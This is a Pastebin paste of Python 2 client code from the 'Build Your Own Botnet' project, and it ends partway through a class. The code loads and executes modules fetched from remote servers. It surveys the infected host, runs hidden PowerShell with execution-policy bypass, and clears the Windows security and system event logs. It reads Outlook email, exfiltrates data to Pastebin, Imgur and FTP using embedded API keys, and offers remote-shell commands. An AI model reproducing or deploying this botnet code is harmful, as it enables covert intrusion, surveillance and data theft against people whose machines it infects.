missblackhat

Untitled

Apr 27th, 2018
230
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 56.54 KB | None | 0 0
  1. #!/usr/bin/python
  2. """
  3. Build Your Own Botnet
  4. https://github.com/colental/byob
  5. Copyright (c) 2018 Daniel Vega-Myhre
  6. """
  7. from __future__ import print_function
  8.  
  9. # Modules
  10.  
  11. import os
  12. import sys
  13. import imp
  14. import time
  15. import json
  16. import zlib
  17. import uuid
  18. import numpy
  19. import Queue
  20. import base64
  21. import ctypes
  22. import struct
  23. import socket
  24. import random
  25. import urllib
  26. import urllib2
  27. import marshal
  28. import zipfile
  29. import logging
  30. import hashlib
  31. import itertools
  32. import functools
  33. import threading
  34. import cStringIO
  35. import contextlib
  36. import subprocess
  37. import collections
  38. import Crypto.Util
  39. import Crypto.Cipher.AES
  40. import logging.handlers
  41.  
  42.  
  43.  
  44. # Variables
  45.  
  46.  
  47. _debug = True
  48. _abort = False
  49.  
  50.  
  51. # Functions
  52.  
  53.  
  54. @contextlib.contextmanager
  55. def remote_import(modules, base_url='http://localhost:8000/'):
  56. """
  57. Import modules remotely from a remote server without installing them
  58. """
  59. importer = Importer(modules, base_url)
  60. sys.meta_path.append(importer)
  61. yield
  62. for importer in sys.meta_path:
  63. try:
  64. if importer.base_url[:-1] == base_url:
  65. sys.meta_path.remove(importer)
  66. except: pass
  67.  
  68.  
  69. @contextlib.contextmanager
  70. def github_import(username=None, repo=None, module=None, branch=None, commit=None):
  71. """
  72. Import modules remotely from a Github repository without installing them
  73. """
  74. if username == None or repo == None:
  75. raise Error("'username' and 'repo' parameters cannot be None")
  76. if commit and branch:
  77. raise Error("'branch' and 'commit' parameters cannot be both set!")
  78. if commit:
  79. branch = commit
  80. if not branch:
  81. branch = 'master'
  82. if not module:
  83. module = repo
  84. if isinstance(module, str):
  85. module = [module]
  86. url = 'https://raw.githubusercontent.com/{user}/{repo}/{branch}/'.format(user=username, repo=repo, branch=branch)
  87. importer = Importer(modules, url)
  88. sys.meta_path.append(importer)
  89. yield
  90. for importer in sys.meta_path:
  91. try:
  92. if importer.base_url[:-1] == url:
  93. sys.meta_path.remove(importer)
  94. except: pass
  95.  
  96.  
  97. # Decorators
  98.  
  99.  
  100. def config(*arg, **options):
  101. """
  102. Configuration decorator for adding attributes (e.g. declare platforms attribute with list of compatible platforms)
  103. """
  104. def _config(function):
  105. @functools.wraps(function)
  106. def wrapper(*args, **kwargs):
  107. return function(*args, **kwargs)
  108. for k,v in options.items():
  109. setattr(wrapper, k, v)
  110. wrapper.platforms = ['win32','linux2','darwin'] if not 'platforms' in options else options['platforms']
  111. return wrapper
  112. return _config
  113.  
  114.  
  115. def threaded(function):
  116. """
  117. Decorator for making a function threaded
  118. """
  119. @functools.wraps(function)
  120. def _threaded(*args, **kwargs):
  121. t = threading.Thread(target=function, args=args, kwargs=kwargs, name=time.time())
  122. t.daemon = True
  123. t.start()
  124. return t
  125. return _threaded
  126.  
  127.  
  128. # Classes
  129.  
  130.  
  131. class Importer(object):
  132.  
  133. """
  134. Importer (Build Your Own Botnet)
  135.  
  136. """
  137. global _debug
  138. global _abort
  139.  
  140. def __init__(self, modules, base_url):
  141. self.module_names = modules
  142. self.base_url = base_url + '/'
  143. self.non_source = False
  144.  
  145. def _get_compiled(self, url) :
  146. module_src = None
  147. try :
  148. module_compiled = urllib.urlopen(url + 'c').read()
  149. try :
  150. module_src = marshal.loads(module_compiled[8:])
  151. return module_src
  152. except ValueError :
  153. pass
  154. try :
  155. module_src = marshal.loads(module_compiled[12:])
  156. return module_src
  157. except ValueError :
  158. pass
  159. except IOError as e:
  160. Util.debug("[-] No compiled version ('.pyc') for '%s' module found!" % url.split('/')[-1])
  161. return module_src
  162.  
  163. def find_module(self, fullname, path=None):
  164. """
  165. Try to find a given module on a remote server
  166. """
  167. if fullname.split('.')[0] not in self.module_names:
  168. Util.debug("[-] Not found!")
  169. return None
  170. try:
  171. loader = imp.find_module(fullname, path)
  172. if loader:
  173. return None
  174. Util.debug("[-] Found locally!")
  175. except ImportError:
  176. pass
  177. if fullname.split('.').count(fullname.split('.')[-1]) > 1:
  178. Util.debug("[-] Found locally!")
  179. return None
  180.  
  181. Util.debug("[*] Module/Package '%s' can be loaded!" % fullname)
  182. return self
  183.  
  184.  
  185. def load_module(self, name):
  186. """
  187. Load a Python module from a remote source
  188. """
  189. imp.acquire_lock()
  190. Util.debug("[+] Loading %s" % name)
  191. if name in sys.modules:
  192. imp.release_lock()
  193. return sys.modules[name]
  194.  
  195. if name.split('.')[-1] in sys.modules:
  196. imp.release_lock()
  197. return sys.modules[name.split('.')[-1]]
  198.  
  199. module_url = self.base_url + '%s.py' % name.replace('.', '/')
  200. package_url = self.base_url + '%s/__init__.py' % name.replace('.', '/')
  201. zip_url = self.base_url + '%s.zip' % name.replace('.', '/')
  202. final_url = None
  203. final_src = None
  204.  
  205. try:
  206. package_src = None
  207. if self.non_source :
  208. try:
  209. package_src = self._get_compiled(package_url)
  210. except Exception as e:
  211. package_src = None
  212. if package_src == None or not self.non_source:
  213. try:
  214. package_src = urllib.urlopen(package_url).read()
  215. except:
  216. package_src = None
  217. final_src = package_src
  218. final_url = package_url
  219. except IOError as e:
  220. package_src = None
  221. Util.debug("[-] '%s' is not a package:" % name)
  222.  
  223. if final_src == None:
  224. try:
  225. module_src = None
  226. if self.non_source :
  227. module_src = self._get_compiled(module_url)
  228. if module_src == None :
  229. module_src = urllib.urlopen(module_url).read()
  230. final_src = module_src
  231. final_url = module_url
  232. except IOError as e:
  233. module_src = None
  234. Util.debug("[!] '%s' not found in HTTP repository. Moving to next Finder." % name)
  235. imp.release_lock()
  236. return None
  237.  
  238. mod = imp.new_module(name)
  239. mod.__loader__ = self
  240. mod.__file__ = final_url
  241.  
  242. if not package_src:
  243. mod.__package__ = name
  244. else:
  245. mod.__package__ = name.split('.')[0]
  246.  
  247. mod.__path__ = ['/'.join(mod.__file__.split('/')[:-1]) + '/']
  248. sys.modules[name] = mod
  249.  
  250. exec(final_src, mod.__dict__)
  251.  
  252. Util.debug("[+] '%s' imported succesfully!" % name)
  253. imp.release_lock()
  254. return mod
  255.  
  256.  
  257. class Util():
  258.  
  259. """
  260. Util (Build Your Own Botnet)
  261.  
  262. """
  263. global _debug
  264. global _abort
  265.  
  266. @staticmethod
  267. def taskhandler(host, port):
  268. """
  269. Returns logger configured for reporting task results to server
  270. """
  271. logger = logging.getLogger(public_ip())
  272. handler = logging.handlers.SocketHandler(host, port)
  273. logger.setLevel(logging.DEBUG)
  274. logger.handlers = [handler]
  275. return logger
  276.  
  277. @staticmethod
  278. def debugger():
  279. """
  280. Returns logger configured for printing debugging information
  281. """
  282. logger = logging.getLogger(__name__)
  283. logger.setLevel(logging.DEBUG)
  284. logger.handlers = [logging.StreamHandler()]
  285. return logger
  286.  
  287. @staticmethod
  288. def debug(info):
  289. """
  290. Log debugging info
  291. """
  292. if _debug:
  293. Util.debugger().debug(str(info))
  294.  
  295. @staticmethod
  296. def platform():
  297. """
  298. Return the OS/platform of host machine
  299. """
  300. try:
  301. return sys.platform
  302. except Exception as e:
  303. Util.debug("{} error: {}".format(platform.func_name, str(e)))
  304.  
  305. @staticmethod
  306. def public_ip():
  307. """
  308. Return public IP address of host machine
  309. """
  310. try:
  311. return urllib2.urlopen('http://api.ipify.org').read()
  312. except Exception as e:
  313. Util.debug("{} error: {}".format(public_ip.func_name, str(e)))
  314.  
  315. @staticmethod
  316. def local_ip():
  317. """
  318. Return local IP address of host machine
  319. """
  320. try:
  321. return socket.gethostbyname(socket.gethostname())
  322. except Exception as e:
  323. Util.debug("{} error: {}".format(local_ip.func_name, str(e)))
  324.  
  325. @staticmethod
  326. def mac_address():
  327. """
  328. Return MAC address of host machine
  329. """
  330. try:
  331. return ':'.join(hex(uuid.getnode()).strip('0x').strip('L')[i:i+2] for i in range(0,11,2)).upper()
  332. except Exception as e:
  333. Util.debug("{} error: {}".format(mac_address.func_name, str(e)))
  334.  
  335. @staticmethod
  336. def architecture():
  337. """
  338. Check if host machine has 32-bit or 64-bit processor architecture
  339. """
  340. try:
  341. return int(struct.calcsize('P') * 8)
  342. except Exception as e:
  343. Util.debug("{} error: {}".format(architecture.func_name, str(e)))
  344.  
  345. @staticmethod
  346. def device():
  347. """
  348. Return the name of the host machine
  349. """
  350. try:
  351. return socket.getfqdn(socket.gethostname())
  352. except Exception as e:
  353. Util.debug("{} error: {}".format(device.func_name, str(e)))
  354.  
  355. @staticmethod
  356. def username():
  357. """
  358. Return username of current logged in user
  359. """
  360. try:
  361. return os.getenv('USER', os.getenv('USERNAME'))
  362. except Exception as e:
  363. Util.debug("{} error: {}".format(username.func_name, str(e)))
  364.  
  365. @staticmethod
  366. def administrator():
  367. """
  368. Return True if current user is administrator, otherwise False
  369. """
  370. try:
  371. return bool(ctypes.windll.shell32.IsUserAnAdmin() if os.name is 'nt' else os.getuid() == 0)
  372. except Exception as e:
  373. Util.debug("{} error: {}".format(administrator.func_name, str(e)))
  374.  
  375. @staticmethod
  376. def ipv4(address):
  377. """
  378. Return True if input is valid IPv4 address, otherwise False
  379. """
  380. try:
  381. if socket.inet_aton(str(address)):
  382. return True
  383. except:
  384. return False
  385.  
  386. @staticmethod
  387. def variable(length=6):
  388. """
  389. Generate a random alphanumeric variable name of given length
  390. """
  391. try:
  392. return random.choice([chr(n) for n in range(97,123)]) + str().join(random.choice([chr(n) for n in range(97,123)] + [chr(i) for i in range(48,58)] + [chr(i) for i in range(48,58)] + [chr(z) for z in range(65,91)]) for x in range(int(length)-1))
  393. except Exception as e:
  394. Util.debug("{} error: {}".format(variable.func_name, str(e)))
  395.  
  396. @staticmethod
  397. def status(timestamp):
  398. """
  399. Check the status of a job/thread
  400. """
  401. try:
  402. assert float(timestamp)
  403. c = time.time() - float(timestamp)
  404. data=['{} days'.format(int(c / 86400.0)) if int(c / 86400.0) else str(),
  405. '{} hours'.format(int((c % 86400.0) / 3600.0)) if int((c % 86400.0) / 3600.0) else str(),
  406. '{} minutes'.format(int((c % 3600.0) / 60.0)) if int((c % 3600.0) / 60.0) else str(),
  407. '{} seconds'.format(int(c % 60.0)) if int(c % 60.0) else str()]
  408. return ', '.join([i for i in data if i])
  409. except Exception as e:
  410. Util.debug("{} error: {}".format(job_status.func_name, str(e)))
  411.  
  412. @staticmethod
  413. def post(url, headers={}, data={}):
  414. """
  415. Make a HTTP post request and return response
  416. """
  417. try:
  418. dat = urllib.urlencode(data)
  419. req = urllib2.Request(str(url), data=dat) if data else urllib2.Request(url)
  420. for key, value in headers.items():
  421. req.headers[key] = value
  422. return urllib2.urlopen(req).read()
  423. except Exception as e:
  424. Util.debug("{} error: {}".format(post_request.func_name, str(e)))
  425.  
  426. @staticmethod
  427. def alert(text, title):
  428. """
  429. Windows alert message box
  430. """
  431. try:
  432. t = threading.Thread(target=ctypes.windll.user32.MessageBoxA, args=(None, text, title, 0))
  433. t.daemon = True
  434. t.start()
  435. return t
  436. except Exception as e:
  437. Util.debug("{} error: {}".format(windows_alert.func_name, str(e)))
  438.  
  439. @staticmethod
  440. def normalize(source):
  441. """
  442. Normalize data/text/stream
  443. """
  444. try:
  445. if os.path.isfile(str(source)):
  446. return open(source, 'rb').read()
  447. elif hasattr(source, 'getvalue'):
  448. return source.getvalue()
  449. elif hasattr(source, 'read'):
  450. if hasattr(source, 'seek'):
  451. source.seek(0)
  452. return source.read()
  453. else:
  454. return bytes(source)
  455. except Exception as e2:
  456. Util.debug("{} error: {}".format(imgur.func_name, str(e2)))
  457.  
  458. @staticmethod
  459. def registry_key(registry_key, key, value):
  460. """
  461. Create a new Windows Registry Key in HKEY_CURRENT_USER
  462. """
  463. if os.name is 'nt':
  464. try:
  465. import _winreg
  466. reg_key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, registry_key, 0, _winreg.KEY_WRITE)
  467. _winreg.SetValueEx(reg_key, key, 0, _winreg.REG_SZ, value)
  468. _winreg.CloseKey(reg_key)
  469. return True
  470. except Exception as e:
  471. Util.debug("{} error: {}".format(str(e)))
  472. return False
  473.  
  474. @staticmethod
  475. def png(image):
  476. """
  477. Takes input of raw image data and returns it a valid PNG data
  478. """
  479. try:
  480. if type(image) == numpy.ndarray:
  481. width, height = (image.shape[1], image.shape[0])
  482. data = image.tobytes()
  483. else:
  484. width, height = (image.width, image.height)
  485. data = image.rgb
  486. line = width * 3
  487. png_filter = struct.pack('>B', 0)
  488. scanlines = b"".join([png_filter + data[y * line:y * line + line] for y in range(height)])
  489. magic = struct.pack('>8B', 137, 80, 78, 71, 13, 10, 26, 10)
  490. ihdr = [b"", b'IHDR', b"", b""]
  491. ihdr[2] = struct.pack('>2I5B', width, height, 8, 2, 0, 0, 0)
  492. ihdr[3] = struct.pack('>I', zlib.crc32(b"".join(ihdr[1:3])) & 0xffffffff)
  493. ihdr[0] = struct.pack('>I', len(ihdr[2]))
  494. idat = [b"", b'IDAT', zlib.compress(scanlines), b""]
  495. idat[3] = struct.pack('>I', zlib.crc32(b"".join(idat[1:3])) & 0xffffffff)
  496. idat[0] = struct.pack('>I', len(idat[2]))
  497. iend = [b"", b'IEND', b"", b""]
  498. iend[3] = struct.pack('>I', zlib.crc32(iend[1]) & 0xffffffff)
  499. iend[0] = struct.pack('>I', len(iend[2]))
  500. fileh = cStringIO.StringIO()
  501. fileh.write(magic)
  502. fileh.write(b"".join(ihdr))
  503. fileh.write(b"".join(idat))
  504. fileh.write(b"".join(iend))
  505. fileh.seek(0)
  506. return fileh
  507. except Exception as e:
  508. Util.debug("{} error: {}".format(png_from_data.func_name, str(e)))
  509.  
  510. @staticmethod
  511. def emails(emails):
  512. """
  513. Takes input of emails from Outlook MAPI inbox and returns them in JSON format
  514. """
  515. try:
  516. output = collections.OrderedDict()
  517. while True:
  518. try:
  519. email = emails.GetNext()
  520. except: break
  521. if email:
  522. sender = email.SenderEmailAddress.encode('ascii','ignore')
  523. message = email.Body.encode('ascii','ignore')[:100] + '...'
  524. subject = email.Subject.encode('ascii','ignore')
  525. received = str(email.ReceivedTime).replace('/','-').replace('\\','')
  526. result = {'from': sender, 'subject': subject, 'message': message}
  527. output[received] = result
  528. else: break
  529. return output
  530. except Exception as e:
  531. Util.debug("{} error: {}".format(emails.func_name, str(e)))
  532.  
  533.  
  534. @staticmethod
  535. def delete(target):
  536. """
  537. Tries hard to delete file (via multiple methods, if necessary)
  538. """
  539. try:
  540. if os.path.isfile(target):
  541. try:
  542. os.chmod(target, 777)
  543. except: pass
  544. if os.name is 'nt':
  545. try:
  546. _ = os.popen('attrib -h -s -r %s' % target).read()
  547. except: pass
  548. try:
  549. os.remove(target)
  550. except: pass
  551. try:
  552. _ = os.popen(bytes('del /f /q %s' % target if os.name is 'nt' else 'rm -f %s' % target)).read()
  553. except: pass
  554. elif os.path.isdir(target):
  555. try:
  556. _ = os.popen(bytes('rmdir /s /q %s' % target if os.name is 'nt' else 'rm -f %s' % target)).read()
  557. except: pass
  558. else:
  559. pass
  560. except Exception as e:
  561. Util.debug("{} error: {}".format(delete.func_name, str(e)))
  562.  
  563.  
  564. @staticmethod
  565. def import_modules(base_url='https://raw.githubusercontent.com/colental/byob/master/packages', modules=['configparser', 'Crypto', 'Cryptodome', 'cv2', 'httpimport', 'mss', 'numpy', 'pyHook', 'PyInstaller', 'pyminifier', 'pythoncom', 'pywin32', 'pyxhook', 'requests', 'twilio', 'uuid', 'win32', 'win32com', 'wmi', 'Xlib']):
  566. """
  567. import modules remotely without installing from github or a server
  568. """
  569. imports = {}
  570. with remote_import(modules, base_url):
  571. for module in modules:
  572. try:
  573. exec "import %s" % module in globals()
  574. imports[module] = globals()[module]
  575. Util.debug("%s imported successfully." % module)
  576. except ImportError:
  577. Util.debug("%s import failed." % module)
  578. return imports
  579.  
  580.  
  581. @staticmethod
  582. def find_server(url, api):
  583. """
  584. Use API Key to dynamically locate an active server
  585. """
  586. host, port = (socket.gethostbyname(socket.gethostname()), 1337)
  587. try:
  588. url,api = urllib.urlopen(api_key).read().splitlines()
  589. if url.startswith('http'):
  590. req = urllib2.Request(url)
  591. req.headers = {'API-Key': api}
  592. response = urllib2.urlopen(req).read()
  593. try:
  594. host = json.loads(response)['main_ip']
  595. except: pass
  596. if not ipv4(host):
  597. Util.debug("Error: invalid target host '%s'" % host)
  598. host = 'localhost'
  599. except Exception as e:
  600. Util.debug(str(e))
  601. return host, port
  602.  
  603.  
  604. @staticmethod
  605. def clear_system_logs():
  606. """
  607. Clear Windows system logs (Application, Security, Setup, System)
  608. """
  609. if os.name is 'nt':
  610. for log in ["application","security","setup","system"]:
  611. try:
  612. output = powershell_exec('"& { [System.Diagnostics.Eventing.Reader.EventLogSession]::GlobalSession.ClearLog(\"%s\")}"' % log)
  613. if output:
  614. Util.debug(output)
  615. except Exception as e:
  616. Util.debug("{} error: {}".format(clear_system_logs.func_name, str(e)))
  617.  
  618. @staticmethod
  619. def kwargs(inputstring):
  620. """
  621. Takes a string as input and returns a dictionary of keyword arguments
  622. """
  623. try:
  624. return {i.partition('=')[0]: i.partition('=')[2] for i in str(inputstring).split() if '=' in i}
  625. except Exception as e:
  626. Util.debug("{} error: {}".format(kwargs.func_name, str(e)))
  627.  
  628. @staticmethod
  629. def system_info():
  630. """
  631. Do system survey and return information about host machine
  632. """
  633. info = {}
  634. for func in ['public_ip', 'local_ip', 'platform', 'mac_address', 'architecture', 'username', 'administrator', 'device']:
  635. if func in globals():
  636. try:
  637. info[func] = eval(func)()
  638. except Exception as e:
  639. Util.debug("{} error: {}".format(system.func_name, str(e)))
  640. return info
  641.  
  642. @staticmethod
  643. def powershell(code):
  644. """
  645. Execute code in Powershell.exe and return any results
  646. """
  647. if os.name is 'nt':
  648. try:
  649. powershell = 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' if os.path.exists('C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe') else os.popen('where powershell').read().rstrip()
  650. return os.popen('{} -exec bypass -window hidden -noni -nop -encoded {}'.format(powershell, base64.b64encode(code))).read()
  651. except Exception as e:
  652. Util.debug("{} error: {}".format(powershell.func_name, str(e)))
  653.  
  654. @staticmethod
  655. def imgur(source):
  656. """
  657. Upload image file/data to Imgur (requires: imgur api_key)
  658. """
  659. try:
  660. api_key = resource('api imgur api_key')
  661. if api_key:
  662. data = _get_normalized_data(source)
  663. post = post('https://api.imgur.com/3/upload', headers={'Authorization': api_key}, data={'image': base64.b64encode(data), 'type': 'base64'})
  664. return str(json.loads(post)['data']['link'])
  665. else:
  666. return "No Imgur API Key found"
  667. except Exception as e2:
  668. return "{} error: {}".format(imgur.func_name, str(e2))
  669.  
  670. @staticmethod
  671. def pastebin(source, api_dev_key='daf350f687a94f079a8482a046264123', api_user_key='d05a18740c105927f3cbf38cf5acf069'):
  672. """
  673. Dump file/data to Pastebin (requires: pastebin api_dev_key)
  674. """
  675. try:
  676. info={'api_option': 'paste', 'api_paste_code': normalize(source), 'api_dev_key': api_dev_key}
  677. if api_user_key:
  678. info.update({'api_user_key' : api_user_key})
  679. paste = post('https://pastebin.com/api/api_post.php',data=info)
  680. return '{}/raw/{}'.format(os.path.split(paste)[0], os.path.split(paste)[1]) if paste.startswith('http') else paste
  681. except Exception as e:
  682. return '{} error: {}'.format(pastebin.func_name, str(e))
  683.  
  684. @staticmethod
  685. def ftp(source, filetype=None):
  686. """
  687. Upload file/data to FTP server (requires: FTP login credentials)
  688. """
  689. try:
  690. creds = resource('api ftp').split()
  691. if creds:
  692. path = ''
  693. local = time.ctime().split()
  694. if os.path.isfile(str(source)):
  695. path = source
  696. source = open(str(path), 'rb')
  697. elif hasattr(source, 'seek'):
  698. source.seek(0)
  699. else:
  700. source = cStringIO.StringIO(bytes(source))
  701. try:
  702. host = ftplib.FTP(**creds)
  703. except:
  704. return "Upload failed - remote FTP server authorization error"
  705. addr = info.get('public_ip') if info.get('public_ip') else public_ip()
  706. if 'tmp' not in host.nlst():
  707. host.mkd('/tmp')
  708. if addr not in host.nlst('/tmp'):
  709. host.mkd('/tmp/{}'.format(addr))
  710. if path:
  711. path = '/tmp/{}/{}'.format(addr, os.path.basename(path))
  712. else:
  713. if filetype:
  714. filetype = '.' + str(filetype) if not str(filetype).startswith('.') else str(filetype)
  715. path = '/tmp/{}/{}'.format(addr, '{}-{}_{}{}'.format(local[1], local[2], local[3], filetype))
  716. else:
  717. path = '/tmp/{}/{}'.format(addr, '{}-{}_{}'.format(local[1], local[2], local[3]))
  718. stor = host.storbinary('STOR ' + path, source)
  719. return path
  720. except Exception as e2:
  721. return "{} error: {}".format(ftp.func_name, str(e2))
  722.  
  723.  
  724.  
  725. class Security():
  726.  
  727. """
  728. Security (Build Your Own Botnet)
  729.  
  730. """
  731. global _debug
  732. global _abort
  733.  
  734. session_key = None
  735.  
  736. @staticmethod
  737. def diffiehellman(connection):
  738. """
  739. DiffieHellman key exchange for secure session keys even on monitored networks
  740. """
  741. if isinstance(connection, socket.socket):
  742. try:
  743. g = 2
  744. p = 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AACAA68FFFFFFFFFFFFFFFF
  745. a = Crypto.Util.number.bytes_to_long(os.urandom(32))
  746. xA = pow(g, a, p)
  747. connection.send(Crypto.Util.number.long_to_bytes(xA))
  748. xB = Crypto.Util.number.bytes_to_long(connection.recv(256))
  749. x = pow(xB, a, p)
  750. return hashlib.new(Crypto.Util.number.long_to_bytes(x)).hexdigest()
  751. except Exception as e:
  752. Util.debug("{} error: {}".format(diffiehellman.func_name, str(e)))
  753. else:
  754. Util.debug("{} erorr: invalid input type - expected '{}', received '{}'".format(diffiehellman.func_name, socket.socket, type(connection)))
  755.  
  756. @staticmethod
  757. def encrypt_aes(data, key):
  758. """
  759. Encrypt data with 256-bit key using AES-cipher in authenticated OCB mode
  760. """
  761. try:
  762. cipher = Crypto.Cipher.AES.new(key, Crypto.Cipher.AES.MODE_OCB)
  763. ciphertext, tag = cipher.encrypt_and_digest(data)
  764. output = b''.join((cipher.nonce, tag, ciphertext))
  765. return base64.b64encode(output)
  766. except Exception as e:
  767. Util.debug("{} error: {}".format(encrypt.func_name, str(e)))
  768.  
  769. @staticmethod
  770. def decrypt_aes(data, key):
  771. """
  772. Decrypt data encrypted by 256-bit key with AES-cipher in authenticated OCB mode
  773. """
  774. try:
  775. data = cStringIO.StringIO(base64.b64decode(data))
  776. nonce, tag, ciphertext = [ data.read(x) for x in (Crypto.Cipher.AES.block_size - 1, Crypto.Cipher.AES.block_size, -1) ]
  777. cipher = Crypto.Cipher.AES.new(key, Crypto.Cipher.AES.MODE_OCB, nonce)
  778. return cipher.decrypt_and_verify(ciphertext, tag)
  779. except Exception as e1:
  780. Util.debug("{} error: {}".format(decrypt.func_name, str(e1)))
  781. try:
  782. return cipher.decrypt(ciphertext)
  783. except Exception as e2:
  784. return "{} error: {}".format(decrypt.func_name, str(e2))
  785.  
  786.  
  787. class Shell():
  788.  
  789. """
  790. Shell (Build Your Own Botnet)
  791.  
  792. """
  793. global _debug
  794. global _abort
  795.  
  796. def __init__(self):
  797. self.session = {}
  798. self.commands = {cmd: {'method': getattr(self, cmd), 'platforms': getattr(Shell, cmd).platforms, 'usage': getattr(Shell, cmd).usage, 'description': getattr(Shell, cmd).func_doc.strip().rstrip()} for cmd in vars(Shell) if hasattr(vars(Shell)[cmd], 'command') if getattr(vars(Shell)[cmd], 'command')}
  799. self._socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  800. self._flags = {'connection': threading.Event(), 'mode': threading.Event(), 'prompt': threading.Event()}
  801. self._modules = Util.import_modules()
  802. self._jobs = Queue.Queue()
  803. self._workers = {}
  804.  
  805.  
  806. @threaded
  807. def _prompt_handler(self):
  808. self._flags['prompt'].set()
  809. while True:
  810. try:
  811. self._flags['prompt'].wait()
  812. self.send_task(**{'id': '0'*64, 'client': self.info['uid'], 'command': 'prompt', 'result': '[%d @ {}]>'.format(os.getcwd())})
  813. self._flags['prompt'].clear()
  814. except Exception as e:
  815. Util.debug("{} error: {}".format('prompt', str(e)))
  816. self._flags['prompt'].clear()
  817.  
  818. @threaded
  819. def _task_handler(self):
  820. try:
  821. while True:
  822. if _abort:
  823. break
  824. else:
  825. jobs = self._workers.items()
  826. for task, worker in jobs:
  827. if not worker.is_alive():
  828. dead = self._workers.pop(task, None)
  829. del dead
  830. time.sleep(1)
  831. except Exception as e:
  832. Util.debug('{} error: {}'.format(self._handler.func_name, str(e)))
  833.  
  834.  
  835. @config(platforms=['win32','linux2','darwin'], command=True, usage='cd <path>')
  836. def cd(self, path='.'):
  837. """
  838. change current working directory - args: pathname
  839. """
  840. try:
  841. if os.path.isdir(path):
  842. return os.chdir(path)
  843. else:
  844. return os.chdir('.')
  845. except Exception as e:
  846. Util.debug("{} error: {}".format(self.cd.func_name, str(e)))
  847.  
  848.  
  849. @config(platforms=['win32','linux2','darwin'], command=True, usage='ls <path>')
  850. def ls(self, path='.'):
  851. """
  852. list directory contents
  853. """
  854. try:
  855. output = []
  856. if os.path.isdir(path):
  857. for line in os.listdir(path):
  858. if len('\n'.join(output + [line])) < 2048:
  859. output.append(line)
  860. else:
  861. break
  862. return '\n'.join(output)
  863. else:
  864. return "Error: path not found"
  865. except Exception as e2:
  866. Util.debug("{} error: {}".format(self.ls.func_name, str(e2)))
  867.  
  868.  
  869. @config(platforms=['win32','linux2','darwin'], command=True, usage='cat <path>')
  870. def cat(self, path):
  871. """
  872. display file contents
  873. """
  874. try:
  875. output = []
  876. if not os.path.isfile(path):
  877. return "Error: file not found"
  878. for line in open(path, 'rb').readlines():
  879. try:
  880. line = line.rstrip()
  881. if len(line) and not line.isspace():
  882. if len('\n'.join(output + [line])) < 48000:
  883. output.append(line)
  884. else:
  885. break
  886. except Exception as e1:
  887. Util.debug("{} error: {}".format(self.cat.func_name, str(e1)))
  888. return '\n'.join(output)
  889. except Exception as e2:
  890. Util.debug("{} error: {}".format(self.cat.func_name, str(e2)) )
  891.  
  892.  
  893. @config(platforms=['win32','linux2','darwin'], command=True, usage='pwd')
  894. def pwd(self):
  895. """
  896. show name of present working directory
  897. """
  898. try:
  899. return os.getcwd()
  900. except Exception as e:
  901. Util.debug("{} error: {}".format(self.pwd.func_name, str(e)))
  902.  
  903.  
  904. def run(self, **kwargs):
  905. """
  906. run client startup routine
  907. """
  908. try:
  909. if self.connect(**kwargs):
  910. self._workers[self._handler.func_name] = self._handler()
  911. self._workers[self.reverse_tcp_shell.func_name] = self.reverse_tcp_shell()
  912. else:
  913. Util.debug("connection timed out")
  914. except Exception as e:
  915. Util.debug("{} error: {}".format(self.run.func_name, str(e)))
  916. return self.restart(self.run.func_name)
  917.  
  918.  
  919. @config(platforms=['win32','linux2','darwin'], command=True, usage='eval <code>')
  920. def eval(self, code):
  921. """
  922. execute Python code in current context
  923. """
  924. try:
  925. return eval(code)
  926. except Exception as e:
  927. Util.debug("{} error: {}".format(self.eval.func_name, str(e)))
  928.  
  929.  
  930. @config(platforms=['win32','linux2','darwin'], command=True, usage='wget <url>')
  931. def wget(self, url, filename=None):
  932. """
  933. download file from url as temporary file and return filepath
  934. """
  935. if url.startswith('http'):
  936. try:
  937. path, _ = urllib.urlretrieve(url, filename) if filename else urllib.urlretrieve(url)
  938. return path
  939. except Exception as e:
  940. Util.debug("{} error: {}".format(self.wget.func_name, str(e)))
  941. else:
  942. return "Invalid target URL - must begin with 'http'"
  943.  
  944.  
  945. @config(platforms=['win32','linux2','darwin'], command=True, usage='kill')
  946. def kill(self, debug=False):
  947. """
  948. shutdown the current connection and reset session
  949. """
  950. try:
  951. self._flags['connection'].clear()
  952. self._flags['prompt'].clear()
  953. if 'socket' in self.session:
  954. if isinstance(self._socket, socket.socket):
  955. self._socket.shutdown(socket.SHUT_RDWR)
  956. self._socket.close()
  957. self._socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  958. self.info = None
  959. Security.session_key = None
  960. self.session['public_key'] = None
  961. _workers = self._workers.keys()
  962. for worker in _workers:
  963. try:
  964. self.stop(worker)
  965. except Exception as e2:
  966. Util.debug("{} error: {}".format(self.kill.func_name, str(e2)))
  967. except Exception as e:
  968. Util.debug("{} error: {}".format(self.kill.func_name, str(e)))
  969.  
  970. @config(platforms=['win32','linux2','darwin'], command=True, usage='help')
  971. def help(self, cmd=None):
  972. """
  973. list commands with usage information
  974. """
  975. if not cmd:
  976. try:
  977. return json.dumps({self.commands[c]['usage']: self.commands[c]['description'] for c in self.commands})
  978. except Exception as e1:
  979. Util.debug("{} error: {}".format(self.help.func_name, str(e1)))
  980. elif hasattr(self, str(cmd)) and 'prompt' not in cmd:
  981. try:
  982. return json.dumps({self.commands[cmd]['usage']: self.commands[cmd]['description']})
  983. except Exception as e2:
  984. Util.debug("{} error: {}".format(self.help.func_name, str(e2)))
  985. else:
  986. return "Invalid command - '{}' not found".format(cmd)
  987.  
  988.  
  989. @config(platforms=['win32','linux2','darwin'], command=True, usage='show <value>')
  990. def show(self, attribute):
  991. """
  992. show value of an attribute
  993. """
  994. try:
  995. attribute = str(attribute)
  996. if 'jobs' in attribute:
